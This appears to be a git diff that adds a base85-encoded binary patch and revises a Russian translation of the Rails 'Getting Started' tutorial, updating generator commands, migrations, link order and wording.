zPEapx^NA*3qlSiLjSe3_%tYcz*h3Ha-Ia6_y$jxaVlbJ*3hZ{Fv4o$hm-vH!XVFa^ zXtHS8={C2YQOSF4j@*w)SscQ$0__%VzJtET_*JY-_={@#tjT=(V3X*ZJnc5Jc7rlx z+9$gm<>Oy#$mf=Ot7)my)VY9-u&$whmR!`a<30_0luH%g+=Z8%()AW=W_rcg0l3;! zpADAtG>Ip3I{25wU%;GeSVdAKQcxpse2xUG3ZKvDBvYS!ZUAuC12=|EcY?9v1{{2QrcPg0jX7WHi_x=RZ~7uqfG; zpXexLGt>biUfDUe=2V{BS_>AFw`%SiD=d_eckJ}c903C)UbJBS=T=uiXLW&gl-Hfh zI@?`$#a^bE8D_KOyLrFEP5G8$-9FPA+|LH*DCnhFH_tHYv> za~&Scjg5`DtF@d_pYJAP8EX;QJYyfDKSjl?b{#iJg_l^f6c-Z{QcO3e3B0k=5mHD7 zgtpc;GQP*9g2_|l*UayK3v$CDKXA=z`qpOfc)l)tzz{r@HAPY|;w3p;$mK0g&~+RO zR+9aFmm*Qi$75F$TWEbz#>xH{zX3E` z9e+Iks@%Gyag0z?9BXJ67%=(z&2~RAPyFfy=0w!@M)vkb*;vyRt1)U8JZZz$D8epUarK@b5ap<&(6Ty$vk_g)la><64paQzKp?ksYQ9- z12!d`}qAlsZ~*YqeIp|gtZ=I9qN_Rmm6M%DmVsB z<(HUfBzA7HDHLWRL% z@_PR#2O#$xRHzJbS9!wjgz_RYFWOx6WT!@m+?;nKZWm<7Z}M`t1X8w<(va%cTIZu{ zxCL;5%}R>hZpA%k_x_{5D4W{OgAM?1j6Pi~U4z32*x{kC+Lb4P5rL0sgc|H1;Fn&yaVK&jAu;4 zpPE~V@=Shs@W%Z2&yW!LI|u*QDqs`n1JESalc}7I{9Z&qr2Lpe+Uw7w@`LOzCi3q> z>?*G%qeRtc3{0~sZKX%;R156Q@^(CMqY|^{6kyyY&kYu*BAoaXWr4lpXF(4{3uYYn zWgU5}au3+?RSSJ9&_|W&XXlK|gvX{w$5X%`%PznhLTM7pqmSDXg?LNi`MfNVb5pR0 zr)qWPr|2=XKkm1ylzOP$PN&;>OMezSG6YGKKDfq3%=i+jFL`|voJ2x?Bt)c+kecLW zDobMTS=)L)`)y4?hHd6s*uljorp3XXaIcpN8=O}`RIA$R3&B*IwqML%nC6e3r%{Glr zp2Pipn7%+X$osCUm8LDO|i$chdNQ&U68RWg{ zPge1*U3&Xz^%A>*cke>FEUI$SSm@9nU6~=Bw)RxkgODb!=8(b=n%=jWp+`H1)_YIr z!-q9S7fF#aZN3f($RbD1GMAnNFTf`?-d`RH7v8C(d=jPpt1X1m#1$AtVu<%`fp{_v z5+iKK@0J#J)0fw3g3t{QDadIb481O1U-+H$7W>k$o#Qjw5ku26(V z4wcq3V8qe)Sy(se^z-BOe_jWHX81o!|0akIz{%Cz>7_m4WYTo1u_U8Y`SuJ*Zd&ACK?gko8X?cA7A;U@2I@kHUo>Rt;eP+ux z|68_aj>k>))fV~H1hZ1Dun_sLt;-9Np>96o%nEwoi-Af`;MwU;G;(dzis9g$A zAB39Y6LQuxMxdh57V>z8<>@F%YN2!HHYCC$-P8T8Lph;VI@Y7C>LG=d<$U~4^!$QL zMO|Wj9G<9>CmdO=4}Wqu6{~)7Nm3DMqgRUe&~0WzaSsT%&=nsBbD^4+DiFN${Lat4!Ht|db(mFRD^WS4u;LoR0MW$d|+ z=58CEl|I=uBw%-QZ@?N{J$-ftX*jDNoBDLTVbZJ$a(E$x3bN)s5 zn~+Y$jG`2U`vx}v`GiFew$&Vn^&mwka=8c>5(w4P0b=~G`SAaN(_3QT}{DRa+vxNh4a%d zh9w1(|CX?uj2h;iFNqf-EuSRf*11Gv*mh(m(RG%&Z|gSIi+Vm^$#5R0EjrZ6cU5Ic z*A!R$@St&J#>SG0W=xF`Tehj@^R8RT94L>*Orzs_FDU2|f3N1kju}{5p3`|ae|M>Q zp8l@uP&TesVSC2FjHI9ArOKz+#U;C?-=Es9%eB5UbqIx)m{mtjNLDqadc&k*{6?1V z_|J25G%Av5WW~B?7dtyUX_(4;g%6koOR>m`oJNfK&b#TSnK<+fHS0s<`ELhhfa~W0 zENp!QC&6;B9%vU#3We)#k$w*2Zf9Yx4S;adg; z+m=)Q(<>@<%z6Tw4Wm7)I8X`?Z;~TS;_>$d$TgE@#o}8DO|ZYA!~B$jsATS^W?XPf z6qlOrQGq*CAE&fpBA#+G(IsJ}dw=Axe4}n`aYf^(v5cWh`d3A3IE>-H;1Zskge5iga5v2P_wS>DYVc0gW)SOb zXsCkr0nNC)^HogR1FuinOd{L;mk;f)W*LDM<_d48r~U60cJQ=#A$z+QMfdp$(Ep;A zk&l2gJTAKAYN5h-U!kHuA|Ez$%3ptQLfN^+-r*+EnX2(~aF&F)0zV-YtwmK33OJCO z^w~jA)0ie;v>6yRCBgVq0*@+;@9btyOn4J7d}sq0o01H_?vA+~AKxj^vtw>ZvRHkU z@?F9zshAyeOr^`rLpJ67jb9-+@=K3pPUmFWho8m!WB&V?X-SpAV*GCn^cc@WB~kaj zEs!d499#l(}h7+ib7p*yINwto9 zfo88EOuo{$Rq$sUJv}3VYmPo6^n5QH)7*!EjWM$_7^e4dK)f0Fs=8&eP?fw+B~B6i z+NRdyHB%q+6Is=PClRz@=^@{j? zrZ_-~lwui`TGf+hZm)u~b&=)FVT%&?f`HVVp)co23=uXuw-mA7tdymvanDzLRa1qm z8XozGjBUS;1KEC@kIiVh)f@&)cUC=5-J}%01#BXOLE+3j*v@osQuyFOQ%C2Vu#b&Z zY5>-kSd$wySM7{u9b7|mT2~G?#7Nxav+t%JmW%ZzwxXIhk>Cz>-l{ovxl$-_xY} zXE-i!5?Xg0mA&RfQbE2T=X|PjCe^pHetBAfFZKN%Le_!%(YtdG>yGaJ*B9dzXp=GS zGJ4fNR!N?7Gxq$NAHK_wwR;$?A|I|iBarI3bqf>x5*%dmJWhEaa1qDYd;I(2=lJ03 zg>^j7gqC>2r0>N=L4D7}b-eFV=rZB_#^NgQh|T|^cub@p4AH-kZC1eP4+Lg|m}}AF zuL;h&oll>5lfE)Je8rr2Shb@(^IUC+g#||iaIE^7-av&Vm%HwQ^JD22C7-%YhII5P z7&OQ1d&xWn#D=hy-!%PLJ5}kn^r!>1>UaDu5>9SZj)*zsRDbc6JM?PtS$}IDyl@iQ zsNhB4{a$UlQ85n#uiT+sw4yFng?c|m7&~ukBe(SI%47g!E(3E3nH!wso2eg+1nE=e z^BTN?F?i66;)nWHnH?^av;JrXmC1=LD)sSrZJCQ7;ino6*hpZjV$EXE+JeBV3GCyx zZR)3uRBomem zr@ySN+PAd__0y-94xfEjy0G`P7}dR(-S(~iFgdQv2Di(QJ*QC=EBa%r1G(DSND0^;R#wK7A%3MYeHj=F?Kt7t{z4F|%afL@cfbDJm)f8|h0rlLS-s+j}|L(UV zB2@qnUf=GlEA-MndB8@1nZ38s*62ANL#(-a2Rf~6aPJe`im>bz6!`}^GG7#R6V$%i zq*ANoDUf2BLWeD>7%U*Ug5x5&^}cYBwwF$(*IS%~xkNmXVf$U6r^CV74O4fpteO?A zl&@V$6uA-I^)L?_M^psfl`~>vGTQX*c<) z%k(@`g^?kBAg#;~e8FDOJDoC%+sAZeDPbJNCW)r!@j6>eVFG3!-AE)JD3U@^*1jai zlVO^ae`XerW9_zm!Dg;WTIg)Mm`ixar5`5mb==`MmGQQ=#dXsWnee^D0llU#Yr28-!%?e%N+!RCdlzj0c?HQZ1cNbLp7n)*lHPxj{uFwGKIULKu#06bu zaOJ4aavB_Lp9J|9&X=h%Qp9HmQs72?tUnV&LOBT3E%-0xeABF z#PU5X?X3N>A#0wu z?m&=TM)ev#v2i1h6Be@jt}TcFJ%egz6}E31tZf4?oz&uV{dG;1v3K*63JOJkZfhBM z_n_r6rQ&3_AZlRZ+3lcTN*9UN?T%jCb6d~KYlG%0{sXGKhZ6F+8umeXKV8jyIH;*2 zWtmu(fghz=hNgn~LTzFE!A>WK47`8eIXZuw#_01u6IL{=yPzxFc-D)LV`VHaGC&w* zpF>^fQXA4!Ndx%~>Kj_CJ~vT=qbT*}TbLua=R)6o*6zB?4=dWlXD`t112?{`C7wFs zY1p*EcV z622#X6wEq|$)&3bkH3~+n|>KTf8N+Wjt>St$9*x>@q{K0@5}zZViD$0!Nzv-H0=8& zWzDbNHsXc9tw@sP*FM1b251y8le(s-;ys!SiP*}Kx&Ka z#PH=PMPPF;(d#FV+`IF%A2SERv_dG`0xy4FLq@ztJf70^yqolGsL@LD>4LA07F`^- zGN+6w%pZEvolAjUFc>^PI#Oa1D09_WjD)^_&*fBrbagKWSCwun!xZCbSITM~@n zQDXKbq)-1c3Ky6(hl|ZA6ArTu5Sqr-z)=3-e?KZRvXe{>;hk@Hp~U=$RJKd0i4&0) z_Vnm?$Li>k;YTj*?JO8ljU8Ym`06`ELTrx-a6tf<6GQSxR1n4b#RUOim+2x7f-EkU zm4T=rM9IkjjQxd&^0$I0LInPO{9p9HjsL$r87u$W>Hnf44<>Y{Pg5&P!Armzsq!a?CIsj1FSrM z@4);kM9_J&uL!cwd7=Iu$?&oJbG08IH3?vPc>X*e3m0x>yEgoU4cM{15;D6|vU6IS z00Jsd5SmnHOR3CoKVB9&&fjGMyw^gryPQOo6g!-)G&zJI`{QiY#6gM__v5fKGv>|H zFXQ~i0J01hlYbrqeDAJGmw!qJ! zm!=MFx7&ydR?aRafd~1y0D#`*U_f#XcOftjQlwLqnEf%zJ`}Q_wCwlvAmV-XXR+}- z$s#@J8uS$geg>eeEnqCnSOy=IvgB&qo(*y)E&_X_XpSwSAp2Ih)WSEv&}c4vn%xh< zS92DKH>8yS9Zl9d_N9;_IhHth4gyWW9FR#l_2%JvB_9HRygP1(?-xr3MX^w||H7sQI|$FkQ>Y5ns2ynV}Q53$!_?aXwD)o>&Dx4NdD z+a==sfVy;53E0aSJr6xS6+IYfyiBW#8;qJrmP$1OMjtQdtD37A+)Om0<^ceix8Yy^Ra+7$ zLd6P3q5knu*v2|J0tNK-D@v0|GC!Pr?-&<~yEl&B)W~%h$mkXzB{at8brW z4LEMS*2mMk<`uNLuEhTH%yR!1@l_vP6zm)O*^0*fLBOHSGr-T}tpB()dETG){_lhH z&-5?_pWB~q4{`ZvuRstYDE*Z}jfBOuRN}l6H}<-L$Uw6CiVCYkV*=~z5|;W)cLK}A z!fP*{(sxgg_Xr^n!$2fGtoHvOg#Lyrt5ixFK9V6^u~HYY;rf#v^de29ln^Bh^#fiG zo8C%Eozg5#v}WHd1~)XznS%Nj(QxzLP_Z-|fPc)3S}B#7eP~Ys&wfNv_SJ4sGs2q4 zPI=sqtPuu1+`MjOyKLtw#vYjo{!X16xH;V21j_pO=L5x$+L>9W()2c7m_K{of|!na z#)nDSQlcZ#EinLKq~i#+R!Uk$Q;mdICRfEljf(2G{U2D;A8XTY5W;9+ER+5DRyVMj zH|f*)8PlSuQmmPdmmox! zJT65dw^m@1}Q$Eyo@B&}OL-0jt1OpO?a z@I6-%@gPx;a8kpW#V%!-3cMX0TAM@$Xc6JjvHWANq;qPXYOf||3%Lb+g-ad8h6z}h zs-r(`@Ov>WKy z@2o_Fl3!X=G9BY9w4}QYL6d(*jEaxMsHtITZ$fW90D$c(Qlba1?!QgLlP393c&JDX zgwhknfnCND@t&Wt3->uclHAV(>z171Z^Fbp. Вы должны увидеть дефолтную информационную страницу Rails: @@ -172,9 +173,9 @@ invoke test_unit create test/helpers/welcome_helper_test.rb invoke assets invoke coffee -create app/assets/javascripts/welcome.js.coffee +create app/assets/javascripts/welcome.coffee invoke scss -create app/assets/stylesheets/welcome.css.scss +create app/assets/stylesheets/welcome.scss ``` Наиболее важными из них являются, разумеется, контроллер, расположенный в `app/controllers/welcome_controller.rb`, и вьюха, расположенная в `app/views/welcome/index.html.erb`. @@ -203,6 +204,7 @@ Rails.application.routes.draw do # The priority is based upon order of creation: # first created -> highest priority. + # See how all your routes lay out with "rake routes". # # You can have the root of your site routed with "root" # root 'welcome#index' @@ -210,15 +212,15 @@ Rails.application.routes.draw do # ... ``` -Это _маршрутный файл_ вашего приложения, который содержит варианты входа на сайт на специальном языке DSL (domain-specific language, предметно-ориентированный язык программирования), который говорит Rails, как соединять входящие запросы с контроллерами и экшнами. Этот файл содержит много закомментированных строк с примерами, и один из них фактически показывает, как соединить корень сайта с определенным контроллером и экшном. Найдите строку, начинающуюся с `root` и раскоментируйте ее. Должно получится следующее: +Это _маршрутный файл_ вашего приложения, который содержит варианты входа на сайт на специальном языке [DSL (domain-specific language, предметно-ориентированный язык программирования)](https://ru.wikipedia.org/wiki/Предметно-ориентированный_язык), который говорит Rails, как соединять входящие запросы с контроллерами и экшнами. Этот файл содержит много закомментированных строк с примерами, и один из них фактически показывает, как соединить корень сайта с определенным контроллером и экшном. Найдите строку, начинающуюся с `root` и раскоментируйте ее. Должно получится следующее: ```ruby root 'welcome#index' ``` -`root 'welcome#index'` говорит Rails направить запросы к корню приложения в экшн index контроллера welcome, а `get 'welcome/index'` говорит Rails направлять запросы к в экшн index контроллера welcome. Он был создан ранее при запуске генератора контроллера (`rails generate controller welcome index`). +`root 'welcome#index'` говорит Rails направить запросы к корню приложения в экшн index контроллера welcome, а `get 'welcome/index'` говорит Rails направлять запросы к в экшн index контроллера welcome. Он был создан ранее при запуске генератора контроллера (`bin/rails generate controller welcome index`). -Запустите снова веб-сервер, если вы его остановили для генерации контроллера (`rails server`) и пройдите по адресу в браузере. Вы увидите надпись `Hello, Rails!`, которую поместили в `app/views/welcome/index.html.erb`, показывающую, что этот новый маршрут действительно ведет в экшн `index` в `WelcomeController`, и вьюха корректно рендерится. +Запустите снова веб-сервер, если вы его остановили для генерации контроллера (`bin/rails server`) и пройдите по адресу в браузере. Вы увидите надпись `Hello, Rails!`, которую поместили в `app/views/welcome/index.html.erb`, показывающую, что этот новый маршрут действительно ведет в экшн `index` в `WelcomeController`, и вьюха корректно рендерится. TIP. Чтобы узнать больше о роутинге, обратитесь к руководству [Роутинг в Rails](/rails-routing). @@ -240,7 +242,7 @@ Rails.application.routes.draw do end ``` -Если запустить `rake routes`, можно увидеть, что он объявил все маршруты для стандартных действий RESTful. Значение столбца префикса (и остальных столбцов) мы рассотрим позже, а пока обратите внимание, что Rails знает о форме единственного числа слова `article` и разумно использует это различие. +Если запустить `bin/rake routes`, можно увидеть, что он объявил все маршруты для стандартных действий RESTful. Значение столбца префикса (и остальных столбцов) мы рассотрим позже, а пока обратите внимание, что Rails знает о форме единственного числа слова `article` и разумно использует это различие. ```bash $ bin/rake routes @@ -256,7 +258,7 @@ edit_article GET /articles/:id/edit(.:format) articles#edit root GET / welcome#index ``` -В следующем разделе мы добавим возможность создания новых статей и сможем просматривать их. Это буквы "C" и "R" из CRUD: creation и reading. Форма для этого будет выглядеть так: +В следующем разделе мы добавим возможность создания новых статей и сможем просматривать их. Это буквы "C" и "R" из CRUD: create и read. Форма для этого будет выглядеть так: ![Форма новой статьи](/images/getting_started/new_article.png) @@ -271,7 +273,7 @@ edit_article GET /articles/:id/edit(.:format) articles#edit Эта ошибка произошла, поскольку маршрут нуждается в определенном контроллере, чтобы обслужить запрос. Решение этой проблемы простое: нужно создать контроллер с именем `ArticlesController`. Это будет сделано запуском команды: ```bash -$ bin/rails g controller articles +$ bin/rails generate controller articles ``` Если открыть только что созданный `app/controllers/articles_controller.rb`, можно увидеть абсолютно пустой контроллер: @@ -285,7 +287,6 @@ end NOTE: В `Ruby` методы бывают `public`, `private` и `protected`, но экшнами контроллеров могут быть только `public` методы. Подробнее смотрите в [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/). - Если теперь обновить , вы увидите новую ошибку: ![Unknown action new for ArticlesController!](/images/getting_started/unknown_action_new_for_articles.png) @@ -305,9 +306,9 @@ end ![Template is missing for articles/new](/images/getting_started/template_is_missing_articles_new.png) -Вы получили эту ошибку, поскольку Rails ожидает, что обычные экшны, такие как этот, имеют связанные с ними вьюхи для отображения их информации. Когда нет доступных вьюх, Rails выдает ошибку. +Вы получили эту ошибку, поскольку Rails ожидает, что обычные экшны, такие как этот, имеют связанные с ними вьюхи для отображения их информации. Когда нет доступных вьюх, Rails вызовет исключение. -В вышеприведенном изображении конец строки был обрезан. Давайте посмотрим на полный текст: +В вышеприведенном изображении конец строки был обрезан. Давайте посмотрим на полное сообщение об ошибке: >Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views" @@ -319,7 +320,9 @@ end Заключительная часть этого сообщения говорит нам, где Rails искал шаблоны. Шаблоны в простом приложении Rails, таком как наше, содержатся в одном месте, но в более сложных приложениях, они могут находиться в разных местах. -Простейшим шаблоном, работающим в данном случае, будет расположенный в `app/views/articles/new.html.erb`. Расширение этого файла является ключом: первое расширение это _формат_ шаблона, а второе расширение это _обработчик_, который будет использован. Rails пытается найти шаблон с именем `articles/new` в `app/views` приложения. Форматом для этого шаблона может быть только `html`, а обработчиком должен быть один из `erb`, `builder` или `coffee`. Поскольу мы хотим создать новую форму HTML, будем использовать язык `ERB`. Следовательно, файл должен называться `articles/new.html.erb`, и должен быть расположен в директории `app/views` приложения. +Простейшим шаблоном, работающим в данном случае, будет расположенный в `app/views/articles/new.html.erb`. Расширение этого файла важно: первое расширение это _формат_ шаблона, а второе расширение это _обработчик_, который будет использован. Rails пытается найти шаблон с именем `articles/new` в `app/views` приложения. Форматом для этого шаблона может быть только `html`, а обработчиком должен быть один из `erb`, `builder` или `coffee`. Поскольу мы хотим создать новую форму HTML, будем использовать язык `ERB`, разработанный, чтобы внедрять Ruby в HTML. + +Следовательно, файл должен называться `articles/new.html.erb` и должен быть расположен в директории `app/views` приложения. Создайте новый файл `app/views/articles/new.html.erb` и поместите в него: @@ -365,8 +368,7 @@ end <%= form_for :article, url: articles_path do |f| %> ``` -В этом примере в опцию `:url` передан хелпер `articles_path`. Чтобы увидеть, что с помощью него делает Rails, снова посмотрим на результат -`rake routes`: +В этом примере в опцию `:url` передан хелпер `articles_path`. Чтобы увидеть, что с помощью него делает Rails, снова посмотрим на результат `bin/rake routes`: ```bash $ bin/rake routes @@ -414,7 +416,7 @@ def create end ``` -Тут метод `render` принимает очень простой хэш с ключом `plain` и значением `params[:article].inspect`. Метод `params` это объект, представляющий параметры (или поля), приходящие от формы. Метод `params` возвращает объект `ActiveSupport::HashWithIndifferentAccess`, позволяющий получать доступ к ключам хэша с использованием или строк, или символов. В этой ситуации имеют значение только параметры, пришедшие от формы. +Тут метод `render` принимает очень простой хэш с ключом `:plain` и значением `params[:article].inspect`. Метод `params` это объект, представляющий параметры (или поля), приходящие от формы. Метод `params` возвращает объект `ActiveSupport::HashWithIndifferentAccess`, позволяющий получать доступ к ключам хэша с использованием или строк, или символов. В этой ситуации имеют значение только параметры, пришедшие от формы. TIP: Убедитесь, что у вас есть твердое понимание метода `params`, так как вы будете его использовать очень часто. Давайте рассмотрим в качестве примера URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. В этом URL, `params[:username]` будет равен "dhh" и `params[:email]` будет равен "dhh@email.com". @@ -442,9 +444,9 @@ TIP: Active Record достаточно сообразителен, чтобы ### Запуск миграции -Как вы уже видели, `rails generate model` создал файл _миграции базы данных_ в директории `db/migrate`. Миграции - это класс Ruby, разработанный для того, чтобы было просто создавать и модифицировать таблицы базы данных. Rails использует команды rake для запуска миграций, и возможна отмена миграции после того, как она была применена к вашей базе данных. Имя файла миграции включает временную метку, чтобы быть уверенным, что они выполняются в той последовательности, в которой они создавались. +Как вы уже видели, `bin/rails generate model` создал файл _миграции базы данных_ в директории `db/migrate`. Миграции - это класс Ruby, разработанный для того, чтобы было просто создавать и модифицировать таблицы базы данных. Rails использует команды rake для запуска миграций, и возможна отмена миграции после того, как она была применена к вашей базе данных. Имя файла миграции включает временную метку, чтобы быть уверенным, что они выполняются в той последовательности, в которой они создавались. -Если Вы заглянете в файл `db/migrate/20140120191729_create_articles.rb` (помните, у вас файл имеет немного другое имя), вот что там обнаружите: +Если Вы заглянете в файл `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` (помните, у вас файл имеет немного другое имя), вот что там обнаружите: ```ruby class CreateArticles < ActiveRecord::Migration @@ -453,7 +455,7 @@ class CreateArticles < ActiveRecord::Migration t.string :title t.text :text - t.timestamps + t.timestamps null: false end end end @@ -478,7 +480,7 @@ Rails запустит эту команду миграции и сообщит, == CreateArticles: migrated (0.0020s) ========================================= ``` -NOTE. Так как вы работаете по умолчанию в среде development, эта команда будет применена к базе данных, определенной в секции `development` вашего файла `config/database.yml`. Если хотите запустить миграции в другой среде, например в production, следует явно передать ее при вызове команды: `rake db:migrate RAILS_ENV=production`. +NOTE. Так как вы работаете по умолчанию в среде development, эта команда будет применена к базе данных, определенной в секции `development` вашего файла `config/database.yml`. Если хотите запустить миграции в другой среде, например в production, следует явно передать ее при вызове команды: `bin/rake db:migrate RAILS_ENV=production`. ### Сохранение данных в контроллере @@ -495,7 +497,7 @@ end Вот что тут происходит: каждая модель Rails может быть инициализирована с помощью соответствующих атрибутов, которые будут автоматически привязаны к соответствующим столбцам базы данных. В первой строчке мы как раз это и делаем (помните, что `params[:article]` содержит интересующие нас атрибуты). Затем `@article.save` ответственен за сохранение модели в базу данных. Наконец, мы перенаправляем пользователя на экшн `show`, который мы определим позже. -TIP: Вы, возможно, задаетесь вопросом, почему `A` в `Article.new` заглавная, хотя все остальные ссылки на статьи в этом руководстве используют строчное написание. В этом контексте мы ссылаемся на класс по имени `Article`, который определен в `\models\article.rb`. Имена классов в Ruby должны начинаться с заглавной буквы. +TIP: Вы, возможно, задаетесь вопросом, почему `A` в `Article.new` заглавная, хотя все остальные ссылки на статьи в этом руководстве используют строчное написание. В этом контексте мы ссылаемся на класс по имени `Article`, который определен в `app/models/article.rb`. Имена классов в Ruby должны начинаться с заглавной буквы. TIP: Как мы увидим далее, `@article.save` возвращает булево значение, показывающее, была ли сохранена модель, или нет. @@ -503,7 +505,7 @@ TIP: Как мы увидим далее, `@article.save` возвращает ![Forbidden attributes for new article](/images/getting_started/forbidden_attributes_for_new_article.png) -Rails имеет ряд защитных мер, помогающих писать безопасные приложения, и вы только что столкнулись с одной из них. Она называется +Rails имеет ряд защитных мер, помогающих писать безопасные приложения, и вы только что столкнулись с одной из них. Она называется [strong parameters](/action-controller-overview#strong-parameters) и требует, чтобы мы указали Rails, какие именно параметры разрешено передавать в экшны нашего контроллера. Почему об этом нужно беспокоиться? Возможность взять и автоматически назначить все параметры контроллера в вашу модель облегчит работу программиста, но это удобство также позволяет использование в злонамеренных целях. Что, если запрос к серверу был специально создан как отправка формы новой статьи, но также включает дополнительные поля, которые нарушают целостность вашего приложения? Они будут 'массово назначены' в вашу модель и затем в базу данных среди нормальных данных — потенциально ломая ваше приложение, или еще хуже. @@ -536,7 +538,7 @@ TIP: За подробностями обратитесь к [этой стат Если снова отправить форму, Rails сообщит о ненайденом экшне `show`. Нам это уже не нужно, поэтому давайте добавим экшн `show` до того. -Как вы уже видели в результатах выполнения `rake routes`, маршрут для экшна `show` следующий: +Как вы уже видели в результатах выполнения `bin/rake routes`, маршрут для экшна `show` следующий: ``` article GET /articles/:id(.:format) articles#show @@ -584,7 +586,7 @@ class ArticlesController < ApplicationController ### Отображение всех статей -Нам все еще нужен способ для отображения списка всех наших статей, давайте сделаем его. Маршрут, выводящийся с помощью `rake routes`, следующий: +Нам все еще нужен способ для отображения списка всех наших статей, давайте сделаем его. Маршрут, выводящийся с помощью `bin/rake routes`, следующий: ```ruby articles GET /articles(.:format) articles#index @@ -623,6 +625,7 @@ class ArticlesController < ApplicationController <%= article.title %> <%= article.text %> + <%= link_to 'Show', article_path(article) %> <% end %> @@ -884,7 +887,7 @@ private Мы заново использовали метод `article_params`, который определили ранее для экшна create. -TIP: Вам не нужно передавать все атрибуты в `update`. к примеру, если вызовете `@article.update(title: 'A new title')`, Rails обновит только атрибут `title`, оставив все другие атрибуты нетронутыми. +TIP: Не обязательно передавать все атрибуты в `update`. к примеру, если был вызван `@article.update(title: 'A new title')`, Rails обновит только атрибут `title`, оставив все другие атрибуты нетронутыми. Наконец, мы хотим показать ссылку на экшн `edit` в списке всех статей, так что, давайте добавим ее в `app/views/articles/index.html.erb` рядом с ссылкой "Show": @@ -912,8 +915,8 @@ TIP: Вам не нужно передавать все атрибуты в `upd ```html+erb ... -<%= link_to 'Back', articles_path %> | -<%= link_to 'Edit', edit_article_path(@article) %> +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> ``` И вот как выглядит наше приложение сейчас: @@ -986,7 +989,7 @@ TIP: Подробнее о партиалах можно прочитать в ### Удаление статей -Теперь мы готовы раскрыть часть "D" от CRUD, удаление (deleting) из базы данных. Следуя соглашению REST, маршрут для удаления статей в результатах вывода `rake routes` следующий: +Теперь мы готовы раскрыть часть "D" от CRUD, удаление (deleting) из базы данных. Следуя соглашению REST, маршрут для удаления статей в результатах вывода `bin/rake routes` следующий: ```ruby DELETE /articles/:id(.:format) articles#destroy @@ -1091,10 +1094,12 @@ end ``` -Тут мы используем `link_to` другим образом. Мы передаем именнованный маршрут как второй аргумент, и опции как иной аргумент. Опции `:method` и `:data-confirm` используются как атрибуты html5, поэтому при нажатии ссылки, Rails сначала покажет пользователю диалог подтверждения, а затем отправит ссылку с помощью метода `delete`. Это выполняется с помощью файла JavaScript `jquery_ujs`, который автоматически включается в макет приложения (`app/views/layouts/application.html.erb`) при создании приложения. Без этого файла диалог подтверждения не будет показан. +Тут мы используем `link_to` другим образом. Мы передаем именнованный маршрут как второй аргумент, и опции как иной аргумент. Опции `method: :delete` и `data: { confirm: 'Are you sure?' }` используются как атрибуты html5, поэтому при нажатии ссылки, Rails сначала покажет пользователю диалог подтверждения, а затем отправит ссылку с помощью метода `delete`. Это выполняется с помощью файла JavaScript `jquery_ujs`, который автоматически включается в макет приложения (`app/views/layouts/application.html.erb`) при создании приложения. Без этого файла диалог подтверждения не будет показан. ![Диалог подтверждения](/images/getting_started/confirm_dialog.png) +TIP: Узнайте боьше про ненавязчивый адаптер jQuery (jQuery UJS) в руководстве [Работа с JavaScript в Rails](/working-with-javascript-in-rails). + Наши поздравления, теперь вы можете создавать, просматривать все и по отдельности, обновлять и уничтожать статьи. TIP: В основном, Rails рекомендует использовать ресурсные объекты вместо объявления маршрутов вручную. Подробнее о роутинге смотрите [Роутинг в Rails](/rails-routing). @@ -1106,7 +1111,7 @@ TIP: В основном, Rails рекомендует использовать ### Генерируем модель -Мы намереваемся использовать тот же генератор, что мы использовали ранее при создании модели `Article`. В этот раз мы создадим модель `Comment`, содержащую комментарии к статье. Запустите следующую команду в терминале: +Мы намереваемся использовать тот же генератор, что мы использовали ранее при создании модели `Article`. В этот раз мы создадим модель `Comment`, содержащую ссылку на статью. Запустите следующую команду в терминале: ```bash $ bin/rails generate model Comment commenter:string body:text article:references @@ -1114,11 +1119,11 @@ $ bin/rails generate model Comment commenter:string body:text article:references Эта команда создаст четыре файла: -| Файл | Назначение | -|---------------------------------------------|------------| +| Файл | Назначение | +|---------------------------------------------|-------------------------------------------------------| |db/migrate/20140120201010_create_comments.rb | Миграция для создания таблицы comments в вашей базе данных (ваше имя файла будет включать другую временную метку) | -| app/models/comment.rb | Модель Comment | -| test/models/comment_test.rb | Каркас для тестирования модели комментариев | +| app/models/comment.rb | Модель Comment | +| test/models/comment_test.rb | Каркас для тестирования модели комментария | | test/fixtures/comments.yml | Образцы комментариев для использования в тестировании | Сначала взглянем на `app/models/comment.rb`: @@ -1139,18 +1144,16 @@ class CreateComments < ActiveRecord::Migration create_table :comments do |t| t.string :commenter t.text :body + t.references :article, index: true, foreign_key: true - # эта строчка добавит числовой столбец с именем `article_id`. - t.references :article, index: true - - t.timestamps + t.timestamps null: false end end end ``` -Строка `t.references` устанавливает столбец внешнего ключа для связи между двумя моделями. Так же, настраивается индексирование для этого столбца связи. Далее запускаем миграцию: +Строка `t.references` создает числовой столбец с именем `article_id`, индекс для него, и ограничение внешнего ключа, указывающего на столбец `id` таблицы `articles`. Далее запускаем миграцию: ```bash $ bin/rake db:migrate @@ -1225,8 +1228,8 @@ $ bin/rails generate controller Comments | app/views/comments/ | Вьюхи контроллера хранятся здесь | | test/controllers/comments_controller_test.rb | Тест для контроллера | | app/helpers/comments_helper.rb | Хелпер для вьюх | -| app/assets/javascripts/comment.js.coffee | CoffeeScript для контроллера | -| app/assets/stylesheets/comment.css.scss | Каскадная таблица стилей для контроллера | +| app/assets/javascripts/comment.coffee | CoffeeScript для контроллера | +| app/assets/stylesheets/comment.scss | Каскадная таблица стилей для контроллера | Как и в любом другом блоге, наши читатели будут создавать свои комментарии сразу после прочтения статьи, и после добавления комментария они будут направляться обратно на страницу отображения статьи и видеть, что их комментарий уже отражен. В связи с этим, наш `CommentsController` служит в качестве средства создания комментариев и удаления спама, если такой будет. @@ -1258,8 +1261,8 @@ $ bin/rails generate controller Comments

<% end %> -<%= link_to 'Back', articles_path %> | -<%= link_to 'Edit', edit_article_path(@article) %> +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> ``` Это добавит форму на страницу отображения статьи, создающую новый комментарий при вызове экшна `create` в `CommentsController`. Тут вызов `form_for` использует массив, что создаст вложенный маршрут, такой как `/articles/1/comments`. @@ -1326,8 +1329,8 @@ end

<% end %> -<%= link_to 'Edit Article', edit_article_path(@article) %> | -<%= link_to 'Back to Articles', articles_path %> +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> ``` Теперь в вашем блоге можно добавлять статьи и комментарии и отображать их в нужных местах. @@ -1386,8 +1389,8 @@ end

